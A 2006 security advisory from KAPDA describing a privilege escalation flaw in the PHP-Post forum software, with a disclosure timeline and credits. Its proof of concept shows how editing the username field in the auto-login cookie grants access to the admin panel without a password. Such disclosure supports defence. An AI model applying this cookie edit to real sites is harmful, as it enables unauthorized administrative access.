[KAPDA::#52] - PHP-Post 1.0 Cookie Modification Privilege Escalation Vulnerability KAPDA New advisory Vulnerable product: Tested on PHP-Post 0.21 and 1.0 Vendor: http://php-post.co.uk Vulnerability: Privilege Escalation Date: -------------------- Found: Nov 23, 2005 Vendor Contacted: Jun 01, 2006 Release Date: July 18, 2006 About PHP-Post: -------------------- Free, full featured php+mysql Forum Management System. Vulnerability: -------------------- Privilege Escalation: PHP-Post contains a flaw that may allow a remote attacker to gain administrative privileges. PHP-Post doesn't properly authenticate remote users if auto login is on! By editing the values of the cookie, an attacker can change their privilege from a regular user to administrator and submit it back to the site. Proof of Concepts: -------------------- Cookie: logincookie[pwd]=5a329326344d1d38; logincookie[user]=3nitr0; logincookie[last]=2006-07-07+05%3A24%3A44; logincookie[lastv]=1152264284; post[329]=330 change to: Cookie: logincookie[pwd]=5a329326344d1d38; logincookie[user]="ADMIN`S USERNAME"; logincookie[last]=2006-07-07+05%3A24%3A44; logincookie[lastv]=1152264284; post[329]=330 refresh the site, go to the admin`s panel without password ;) Solution: -------------------- No special patch is yet released by vendor but the vendor's website was patched! Jun 01, 2006: vendor contacted Jun 03, 2006: vendor replied * July 18, 2006: public release Original Advisory: -------------------- http://www.kapda.ir/advisory-380.html Credit: -------------------- FarhadKey of KAPDA farhadkey [at} kapda <d0t> net Kapda - Security Science Researchers Insitute of Iran http://www.KAPDA.ir